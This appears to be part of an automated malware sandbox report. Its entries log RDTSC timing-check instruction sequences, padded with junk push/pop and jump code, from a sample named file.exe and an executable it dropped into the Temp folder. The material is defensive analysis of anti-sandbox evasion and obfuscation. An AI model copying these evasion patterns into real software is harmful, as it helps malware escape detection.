Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A1D second address: 50E0A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 67h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A24 second address: 50E0A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB90h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A40 second address: 50E0A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A46 second address: 50E0A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A4C second address: 50E0AD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F8AA8C154CBh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F8AA8C154D6h 0x00000017 mov ebp, esp 0x00000019 jmp 00007F8AA8C154D0h 0x0000001e cmp dword ptr [75AF459Ch], 05h 0x00000025 jmp 00007F8AA8C154D0h 0x0000002a je 00007F8B195C340Fh 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8AA8C154D7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0D6D second address: 50E0D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0D8D second address: 50E0DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov edi, 4BDEE66Ah 0x0000000c jmp 00007F8AA8C154CBh 0x00000011 popad 0x00000012 popad 0x00000013 test al, al 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8C154D5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0DBF second address: 50E0DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0DCF second address: 50E0E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F8B195B906Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F8AA8C154CBh 0x00000019 pushfd 0x0000001a jmp 00007F8AA8C154D8h 0x0000001f sbb ecx, 5A90FB18h 0x00000025 jmp 00007F8AA8C154CBh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F098F second address: 50F09B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F09B6 second address: 50F0A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ecx, edi 0x0000000d call 00007F8AA8C154D3h 0x00000012 mov esi, 4B1D197Fh 0x00000017 pop ecx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b jmp 00007F8AA8C154D1h 0x00000020 pushfd 0x00000021 jmp 00007F8AA8C154D0h 0x00000026 or esi, 5CBD5C98h 0x0000002c jmp 00007F8AA8C154CBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 mov al, 34h 0x00000038 mov bx, 2C74h 0x0000003c popad 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F8AA8C154D2h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A41 second address: 50F0A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A47 second address: 50F0A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A4D second address: 50F0AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e pushad 0x0000000f mov ecx, 05D5875Dh 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 mov esi, dword ptr [ebp+0Ch] 0x0000001b jmp 00007F8AA8B7BB95h 0x00000020 test esi, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8AA8B7BB93h 0x0000002b xor cl, 0000002Eh 0x0000002e jmp 00007F8AA8B7BB99h 0x00000033 popfd 0x00000034 mov dh, ah 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AC9 second address: 50F0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 04AC3BAFh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8B195B2DA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AE3 second address: 50F0AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AE8 second address: 50F0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [75AF459Ch], 05h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0AFF second address: 50F0B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B03 second address: 50F0B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B09 second address: 50F0B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8AA8B7BB93h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F8B195314F8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AA8B7BB97h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B46 second address: 50F0B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B4A second address: 50F0B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B50 second address: 50F0B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B56 second address: 50F0B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0B5A second address: 50F0BAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8AA8C154CEh 0x00000013 add cx, F128h 0x00000018 jmp 00007F8AA8C154CBh 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F8AA8C154D5h 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0BAE second address: 50F0BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0BB2 second address: 50F0BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CB4 second address: 50F0CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CC7 second address: 50F0CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 8ACAh 0x00000007 mov di, 8996h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8AA8C154CFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0CE9 second address: 50F0D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0D06 second address: 50F0D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0D16 second address: 50F0D1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F12D second address: D4F132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F132 second address: D4F138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F138 second address: D4F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F13C second address: D4F154 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8B7BB8Dh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F154 second address: D4F159 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F24 second address: ED7F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AA8B7BB97h 0x0000000c jmp 00007F8AA8B7BB8Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F4F second address: ED7F59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8AA8C154C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F59 second address: ED7F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F62 second address: ED7F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8AA8C154C6h 0x0000000a js 00007F8AA8C154C6h 0x00000010 popad 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F8AA8C154D2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED102E second address: ED1034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7244 second address: ED726E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8AA8C154C6h 0x00000008 jmp 00007F8AA8C154CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8AA8C154D4h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7514 second address: ED7530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AA8B7BB96h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED76B5 second address: ED76EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8C154D8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F8AA8C154C6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9EE2 second address: ED9EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9EF8 second address: ED9EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9F79 second address: ED9F83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9F83 second address: EDA03E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F8AA8C154D8h 0x00000012 xor edx, 0000AB11h 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D1A87h] 0x00000020 push 529FEAB1h 0x00000025 jmp 00007F8AA8C154CDh 0x0000002a xor dword ptr [esp], 529FEA31h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F8AA8C154C8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b adc esi, 3AE36AECh 0x00000051 stc 0x00000052 push 00000003h 0x00000054 jp 00007F8AA8C154CBh 0x0000005a mov edi, 69DA6C87h 0x0000005f push 00000000h 0x00000061 push edi 0x00000062 adc di, F991h 0x00000067 pop edi 0x00000068 push 00000003h 0x0000006a sub dword ptr [ebp+122D17A6h], eax 0x00000070 call 00007F8AA8C154C9h 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F8AA8C154D7h 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA03E second address: EDA048 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8AA8B7BB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA048 second address: EDA054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA054 second address: EDA079 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8B7BB94h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA079 second address: EDA0A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AA8C154C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F8AA8C154DAh 0x00000014 jmp 00007F8AA8C154D4h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA0A3 second address: EDA0F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8AA8B7BB86h 0x00000009 jg 00007F8AA8B7BB86h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F8AA8B7BB8Ah 0x0000001b pop eax 0x0000001c sub dword ptr [ebp+122D1801h], edi 0x00000022 lea ebx, dword ptr [ebp+1245EDD6h] 0x00000028 mov edx, 1959F351h 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f jmp 00007F8AA8B7BB97h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA0F2 second address: EDA103 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA103 second address: EDA10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA10A second address: EDA110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA144 second address: EDA148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA231 second address: EDA25E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8AA8C154D1h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA31E second address: EDA344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edx, cx 0x00000011 push 00000000h 0x00000013 push A29083AFh 0x00000018 je 00007F8AA8B7BB94h 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007F8AA8B7BB86h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA344 second address: EDA3E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5D6F7CD1h 0x0000000d add ecx, dword ptr [ebp+122D1813h] 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F8AA8C154C8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f stc 0x00000030 movsx ecx, di 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D17E5h], eax 0x0000003b push 00000003h 0x0000003d call 00007F8AA8C154CAh 0x00000042 and si, 90FCh 0x00000047 pop esi 0x00000048 call 00007F8AA8C154C9h 0x0000004d jmp 00007F8AA8C154D0h 0x00000052 push eax 0x00000053 jmp 00007F8AA8C154D3h 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c push eax 0x0000005d push edx 0x0000005e jo 00007F8AA8C154D7h 0x00000064 jmp 00007F8AA8C154D1h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9AEF second address: EF9AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9AF5 second address: EF9AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9D6D second address: EF9D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9D71 second address: EF9D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8AA8C154CDh 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA163 second address: EFA199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8B7BB98h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F8AA8B7BB90h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push ebx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA2FA second address: EFA300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA300 second address: EFA324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8AA8B7BB93h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA324 second address: EFA32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA32A second address: EFA342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB91h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4AB second address: EFA4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4AF second address: EFA4D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F8AA8B7BB97h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
